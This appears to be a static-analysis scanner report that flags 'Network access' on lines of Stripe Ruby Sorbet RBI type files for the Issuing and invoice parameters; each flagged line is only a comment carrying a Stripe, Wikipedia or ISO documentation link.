    sig { params(_application_fee_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def application_fee_amount=(_application_fee_amount); end     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invo
  • Network accessline 747
    def application_fee_amount=(_application_fee_amount); end     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice.     sig { returns(T.nila
  • Network accessline 748
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice.
  • Network accessline 838
    }     def issuer=(_issuer); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 839
    def issuer=(_issuer); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 840
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 850
    sig { params(_number: T.nilable(String)).returns(T.nilable(String)) }     def number=(_number); end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding 
  • Network accessline 851
    def number=(_number); end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with C
  • Network accessline 852
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_approve_params.rbi

  • Network accessline 6
    module Issuing     class AuthorizationApproveParams < ::Stripe::RequestParams       # If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authori
  • Network accessline 7
    class AuthorizationApproveParams < ::Stripe::RequestParams       # If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authorization. Must be pos
  • Network accessline 8
    # If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authorization. Must be positive (use [`decline`](https://docs.stripe.com/api/issuing/author
  • Network accessline 16
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 17
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_capture_params.rbi

  • Network accessline 235
    end         class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 236
    class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.           sig { returns(T.nilable(String
  • Network accessline 237
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 365
    ); end       end       # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.str
  • Network accessline 366
    end       # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/curre
  • Network accessline 367
    # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_create_params.rbi

  • Network accessline 160
    end       class Fuel < ::Stripe::RequestParams         # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 161
    class Fuel < ::Stripe::RequestParams         # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.         sig { returns(T.nilable(String)) }
  • Network accessline 162
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 197
    end       class MerchantData < ::Stripe::RequestParams         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 198
    class MerchantData < ::Stripe::RequestParams         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.         sig { 
  • Network accessline 199
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 432
    ); end       end       # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 433
    end       # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(T.n
  • Network accessline 434
    # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 437
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }       def amount=(_amount); end       # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https:/
  • Network accessline 438
    def amount=(_amount); end       # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(T.nilable(Issui
  • Network accessline 439
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 454
    sig { params(_card: String).returns(String) }       def card=(_card); end       # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-curren
  • Network accessline 455
    def card=(_card); end       # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported c
  • Network accessline 456
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
  • Network accessline 483
    }       def fuel=(_fuel); end       # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 484
    def fuel=(_fuel); end       # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.       sig { returns(T.
  • Network accessline 485
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 488
    sig { params(_is_amount_controllable: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }       def is_amount_controllable=(_is_amount_controllable); end       # The total amount to attempt to authorize. This amount is in the provided m
  • Network accessline 489
    def is_amount_controllable=(_is_amount_controllable); end       # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decima
  • Network accessline 490
    # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 493
    sig { params(_merchant_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }       def merchant_amount=(_merchant_amount); end       # The currency of the authorization. If not provided, defaults to the currency of the card. Three-lette
  • Network accessline 494
    def merchant_amount=(_merchant_amount); end       # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. 
  • Network accessline 495
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_decline_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 12
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_finalize_amount_params.rbi

  • Network accessline 150
    end       class Fuel < ::Stripe::RequestParams         # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 151
    class Fuel < ::Stripe::RequestParams         # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.         sig { returns(T.nilable(String)) }
  • Network accessline 152
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 191
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # The final authorization amount that will be captured by the merchant. This amount is in the authorization curr
  • Network accessline 192
    def expand=(_expand); end       # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).      
  • Network accessline 193
    # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_increment_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # The amount to increment the authorization by. This amount is in the authorization currency and in the [smalles
  • Network accessline 12
    def expand=(_expand); end       # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Integer) 
  • Network accessline 13
    # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 16
    sig { params(_increment_amount: Integer).returns(Integer) }       def increment_amount=(_increment_amount); end       # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_autho
  • Network accessline 17
    def increment_amount=(_increment_amount); end       # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization
  • Network accessline 18
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_reverse_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be re
  • Network accessline 12
    def expand=(_expand); end       # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https:/
  • Network accessline 13
    # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_update_params.rbi

  • Network accessline 11
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 12
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/card_create_params.rbi

  • Network accessline 22
    sig { params(_city: String).returns(String) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 23
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 24
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 42
    sig { params(_postal_code: String).returns(String) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 43
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 44
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 144
    sig { params(_amount: Integer).returns(Integer) }           def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t
  • Network accessline 145
    def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie
  • Network accessline 146
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 161
    def initialize(amount: nil, categories: nil, interval: nil); end         end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All
  • Network accessline 162
    end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories
  • Network accessline 163
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 175
    }         def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al
  • Network accessline 176
    def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca
  • Network accessline 177
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 209
    ); end       end       # The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated.
  • Network accessline 210
    end       # The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated.       sig { returns(T.nilable(String)) }
  • Network accessline 211
    # The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated.
  • Network accessline 239
    sig { params(_financial_account: T.nilable(String)).returns(T.nilable(String)) }       def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. 
  • Network accessline 240
    def financial_account=(_financial_account); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 241
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 280
    }       def shipping=(_shipping); end       # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 281
    def shipping=(_shipping); end       # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.       sig { returns(T.nilable(Issuing::CardCreatePar
  • Network accessline 282
    # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/card_update_params.rbi

  • Network accessline 22
    sig { params(_city: String).returns(String) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 23
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 24
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 42
    sig { params(_postal_code: String).returns(String) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 43
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 44
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 144
    sig { params(_amount: Integer).returns(Integer) }           def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t
  • Network accessline 145
    def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie
  • Network accessline 146
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 161
    def initialize(amount: nil, categories: nil, interval: nil); end         end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All
  • Network accessline 162
    end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories
  • Network accessline 163
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 175
    }         def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al
  • Network accessline 176
    def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca
  • Network accessline 177
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 219
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 220
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 221
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 245
    }       def shipping=(_shipping); end       # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 246
    def shipping=(_shipping); end       # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.       sig { returns(T.nilable(Issuing::CardUpdatePar
  • Network accessline 247
    # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_create_params.rbi

  • Network accessline 13
    sig { params(_city: String).returns(String) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 33
    sig { params(_postal_code: String).returns(String) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 34
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 35
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 92
    def initialize(date: nil, ip: nil, user_agent: nil); end           end           # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for c
  • Network accessline 93
    end           # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.           sig {
  • Network accessline 94
    # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 127
    class Verification < ::Stripe::RequestParams           class Document < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 128
    class Document < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.             sig { returns(T.nilable(String)) }
  • Network accessline 129
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 132
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }             def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum
  • Network accessline 133
    def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.             sig { returns(T.nilable(String)) }
  • Network accessline 134
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 203
    sig { params(_amount: Integer).returns(Integer) }           def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t
  • Network accessline 204
    def amount=(_amount); end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie
  • Network accessline 205
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 220
    def initialize(amount: nil, categories: nil, interval: nil); end         end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All
  • Network accessline 221
    end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories
  • Network accessline 222
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 234
    }         def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al
  • Network accessline 235
    def allowed_merchant_countries=(_allowed_merchant_countries); end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca
  • Network accessline 236
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 305
    }       def individual=(_individual); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 306
    def individual=(_individual); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 307
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 317
    sig { params(_name: String).returns(String) }       def name=(_name); end       # The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is 
  • Network accessline 318
    def name=(_name); end       # The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is required for all cardholders who will be creating EU
  • Network accessline 319
    # The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is required for all cardholders who will be creating EU cards. See the [3D Secure d
  • Network accessline 323
    def phone_number=(_phone_number); end       # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.str
  • Network accessline 324
    # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass
  • Network accessline 325
    #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder.
  • Network accessline 330
    }       def preferred_locales=(_preferred_locales); end       # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 331
    def preferred_locales=(_preferred_locales); end       # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.       sig { retur
  • Network accessline 332
    # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 342
    sig { params(_status: T.nilable(String)).returns(T.nilable(String)) }       def status=(_status); end       # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more
  • Network accessline 343
    def status=(_status); end       # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.       sig { returns(T.nilable(String)) }
  • Network accessline 344
    # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_update_params.rbi

  • Network accessline 13
    sig { params(_city: String).returns(String) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 14
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(String) }
  • Network accessline 15
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 33
    sig { params(_postal_code: String).returns(String) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 34
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 35
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 92
    def initialize(date: nil, ip: nil, user_agent: nil); end           end           # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for c
  • Network accessline 93
    end           # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.           sig {
  • Network accessline 94
    # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 127
    class Verification < ::Stripe::RequestParams           class Document < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 128
    class Document < ::Stripe::RequestParams             # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.             sig { returns(T.nilable(String)) }
  • Network accessline 129
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 132
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }             def back=(_back); end             # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum
  • Network accessline 133
